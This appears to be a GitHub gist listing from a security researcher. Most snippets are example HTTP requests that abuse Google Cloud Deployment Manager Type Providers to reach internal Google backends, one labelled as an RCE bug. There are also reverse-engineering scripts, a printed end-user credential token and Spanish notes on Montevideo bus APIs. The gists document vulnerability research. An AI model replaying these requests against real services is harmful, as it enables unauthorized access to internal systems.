Skip to content

Instantly share code, notes, and snippets.

View ezequielpereira's full-sized avatar

Ezequiel Pereira ezequielpereira

View GitHub Profile
@ezequielpereira
ezequielpereira / encode.sh
Created August 26, 2020 14:31
Script + proto definition used to research the pageToken of the GCP IAM projects.serviceAccounts.list method
#!/bin/bash
project=$1
page_size=3
unknown4=0
# Magic
outer=$(echo -e "project: $project\npage_size: $page_size\nunknown4: $unknown4" | protoc --encode=Outer test.proto | base64 -w 0 | sed 's/+/-/g; s/\//_/g')
outer=${outer//=}
@ezequielpereira
ezequielpereira / example.txt
Last active May 22, 2020 11:28
Example of insert Type Provider request for a test endpoint of Google's GAIA backend.
POST https://www.googleapis.com/deploymentmanager/staging_dogfood/projects/<PROJECT>/global/typeProviders?access_token=<TOKEN> HTTP/1.1
{
"name": "hack",
"descriptorUrl": "https://example.com/",
"googleOptions": {
"gslbTarget": "gslb:test-gaia-backend",
"descriptorUrlServerSpec": "gslb:test-gaia-backend",
"ownershipKind": "GOOGLE",
"credentialType": "GAIAMINT",
@ezequielpereira
ezequielpereira / example.txt
Created May 22, 2020 11:06
Example Type Provider for the internal Google Corp Issue Tracker API (issuetracker.corp.googleapis.com)
POST https://www.googleapis.com/deploymentmanager/staging_dogfood/projects/<PROJECT>/global/typeProviders?access_token=<TOKEN> HTTP/1.1
{
"name": "hack",
"descriptorUrl": "https://issuetracker.corp.googleapis.com/$discovery/rest?key=<KEY>",
"googleOptions": {
"gslbTarget": "blade:corp-issuetracker-api",
"descriptorUrlServerSpec": "blade:corp-issuetracker-api",
"ownershipKind": "GOOGLE",
"credentialType": "GAIAMINT",
@ezequielpereira
ezequielpereira / example.txt
Created May 22, 2020 11:02
Example request for Cloud Deployment Manager RCE bug
POST https://www.googleapis.com/deploymentmanager/staging_dogfood/projects/<PROJECT>/global/typeProviders?access_token=<TOKEN> HTTP/1.1
{
"name": "hack",
"descriptorUrl": "https://<GSLB target's path to a descriptor document>",
"googleOptions": {
"gslbTarget": <GSLB target name>,
"descriptorUrlServerSpec": <GSLB target name>,
"ownershipKind": "GOOGLE",
"credentialType": "GAIAMINT",
{
"auth": {
"oauth2": {
"scopes": {
"https://www.googleapis.com/auth/cloud-platform": {
"description": "View and manage your data across Google Cloud Platform services"
},
"https://www.googleapis.com/auth/cloud-platform.read-only": {
"description": "View your data across Google Cloud Platform services"
},
@ezequielpereira
ezequielpereira / example_insert_tp_req.txt
Last active November 18, 2022 20:09
Example request for creating a Cloud Deployment Manager Type Provider for Google App Engine Admin API - Test environment
POST https://www.googleapis.com/deploymentmanager/staging_dogfood/projects/<PROJECT>/global/typeProviders?access_token=<TOKEN> HTTP/1.1
{
"name": "hack",
"descriptorUrl": "https://test-appengine.sandbox.googleapis.com/$discovery/rest?key=<KEY>",
"googleOptions": {
"gslbTarget": "blade:apphosting-admin-nightly",
"descriptorUrlServerSpec": "blade:apphosting-admin-nightly",
"ownershipKind": "GOOGLE",
"credentialType": "GAIAMINT",
@ezequielpereira
ezequielpereira / EUC_example.txt
Created May 20, 2020 19:34
Example of the EUC received from the Deployment Manager API
EndUserCreds 1 BxiMqwEY1SgYpugDGK2lBRjB_wEYn1oYweoCGPB5GL8FGLSfASoJYW5vbnltb3VzSIXkk8LTCVKDAQi5xsPDqAgSLjMzMTY1NjUyNDI5M0BjbG91ZHNlcnZpY2VzLmdzZXJ2aWNlYWNjb3VudC5jb20gASgAQABbYi4zMzE2NTY1MjQyOTNAY2xvdWRzZXJ2aWNlcy5nc2VydmljZWFjY291bnQuY29tXKsB2AbzAuAGAawB6goGkAIBsAUBWP___________wFwAVphMhMKEQoIY2xvdWQtZG0Qg_z_h_8eSAFqDgoIY2xvdWQtZG0aAnZychUIBTIRCghjbG91ZC1kbRCD_P-H_x6CAQ8KBAgBEAASBwiF5JPC0wmSAQ4IBTIKCghjbG91ZC1kbZIBDwoECAEQABIHCIXkk8LTCagBucbDw6gIMoUCAE_SaXYiViKbsWJ05GxMNvfEhEoZbbXGubN9kNRSdDpyXfCRX8VS0Ic4IN8ZV2oaIcI9RsnKC7L-DcZrtBkXORWaLhdYh1j06qKnkAfu-fB5zun4SNB6aZ9K0Nwc6ChOEgb192abW9-onn-gGebcm2gUqipDNldhoLkuGRIagm89oQJVpu8pRdyv1oL3PQF4CUppvO6LHWJfw8u3w7qf4WOWewY3Jq-m1qAjwEMvRCGmoibZFqCqLJ9k56JbSYkAWVopB2jI7ZbJ5VNrVcAAEe6FpqeoHNwZYIvOtkujecVNR-wfdyd9Ic0fS-DcOs4dgVFtIC5rtwwK0eIFmJbxfy31ScePShZjbG91ZGdhaWE6OnZqZ3Y3Mzo5ODk4
@ezequielpereira
ezequielpereira / dm.proto
Last active August 23, 2020 16:42
Protobuf definition used to reverse engineer the dogfood Type Provider in Google Cloud Deployment Manager
syntax = "proto3";
enum OperationStatus {
UNKNOWN_STATUS_0 = 0;
UNKNOWN_STATUS_1 = 1;
UNKNOWN_STATUS_2 = 2;
DONE = 3;
}
message Operation {
@ezequielpereira
ezequielpereira / Extra_bus_STM.txt
Created August 11, 2018 20:33
Más datos sobre las APIs de ómnibus de Montevideo
POST /stmonlineRest/nextETA HTTP/1.1
Host: m.montevideo.gub.uy
Content-Type: application/json
Content-Length: 100
{
"variante": [],
"parada": 1192,
"linea": ["526","G","148","329"],
"cantPorLinea": 3
@ezequielpereira
ezequielpereira / Rastreo_buses_STM.txt
Last active January 18, 2021 20:02
Mini doc de la API de rastreo de ómnibus de la Intendencia de Montevideo
-- Petición --
POST /buses/rest/stm-online HTTP/1.1
Host: www.montevideo.gub.uy
Content-Type: application/json
Content-Length: <LENGTH>
Notas:
- Es OBLIGATORIO setear la cabecera "Content-Type" con el valor "application/json"
- Es OBLIGATORIO hacer la petición por HTTP, no HTTPS